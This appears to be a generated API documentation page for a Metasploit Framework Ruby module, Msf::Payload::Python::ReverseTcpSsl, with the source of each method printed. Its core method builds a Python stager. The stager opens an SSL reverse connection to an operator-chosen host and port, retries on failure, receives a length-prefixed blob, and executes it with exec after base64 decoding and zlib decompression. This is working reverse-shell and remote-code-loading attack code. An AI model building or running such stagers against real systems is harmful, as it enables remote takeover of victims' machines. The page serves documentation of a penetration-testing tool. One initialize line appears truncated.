Module: Msf::Payload::Python::ReverseTcpSsl
- Includes:
- Msf::Payload::Python, ReverseTcp
- Defined in:
- lib/msf/core/payload/python/reverse_tcp_ssl.rb
Overview
Complex reverse_tcp_ssl payload generation for Python
Instance Method Summary collapse
-
#generate ⇒ Object
Generate the first stage.
- #generate_reverse_tcp_ssl(opts = {}) ⇒ Object
- #handle_intermediate_stage(conn, payload) ⇒ Object
-
#include_send_uuid ⇒ Object
By default, we don't want to send the UUID, but we'll send for certain payloads if requested.
- #initialize(*args) ⇒ Object
- #supports_ssl? ⇒ Boolean
Methods included from ReverseTcp
#generate_reverse_tcp, #transport_config
Methods included from SendUUID
Methods included from Msf::Payload::Python
Instance Method Details
#generate ⇒ Object
Generate the first stage
26 27 28 29 30 31 32 33 34 35 |
# File 'lib/msf/core/payload/python/reverse_tcp_ssl.rb', line 26 def generate conf = { port: datastore['LPORT'], host: datastore['LHOST'], retry_count: datastore['StagerRetryCount'], retry_wait: datastore['StagerRetryWait'] } generate_reverse_tcp_ssl(conf) end |
#generate_reverse_tcp_ssl(opts = {}) ⇒ Object
49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 |
# File 'lib/msf/core/payload/python/reverse_tcp_ssl.rb', line 49 def generate_reverse_tcp_ssl(opts={}) # Set up the socket cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" if opts[:retry_wait].blank? # do not retry at all (old style) cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2 cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n" cmd << "s=ssl.wrap_socket(so)\n" else if opts[:retry_count] > 0 cmd << "for x in range(#{opts[:retry_count].to_i}):\n" else cmd << "while 1:\n" end cmd << "\ttry:\n" cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2 cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n" cmd << "\t\ts=ssl.wrap_socket(so)\n" cmd << "\t\tbreak\n" cmd << "\texcept:\n" if opts[:retry_wait].to_i <= 0 cmd << "\t\tpass\n" # retry immediately else cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting end end cmd << py_send_uuid if include_send_uuid cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" cmd << "d=s.recv(l)\n" cmd << "while len(d)<l:\n" cmd << "\td+=s.recv(l-len(d))\n" cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':s})\n" py_create_exec_stub(cmd) end |
#handle_intermediate_stage(conn, payload) ⇒ Object
84 85 86 |
# File 'lib/msf/core/payload/python/reverse_tcp_ssl.rb', line 84 def handle_intermediate_stage(conn, payload) conn.put([payload.length].pack("N")) end |
#include_send_uuid ⇒ Object
By default, we don't want to send the UUID, but we'll send for certain payloads if requested.
41 42 43 |
# File 'lib/msf/core/payload/python/reverse_tcp_ssl.rb', line 41 def include_send_uuid false end |
#initialize(*args) ⇒ Object
18 19 20 21 |
# File 'lib/msf/core/payload/python/reverse_tcp_ssl.rb', line 18 def initialize(*args) super (Msf::Opt::) end |
#supports_ssl? ⇒ Boolean
45 46 47 |
# File 'lib/msf/core/payload/python/reverse_tcp_ssl.rb', line 45 def supports_ssl? true end |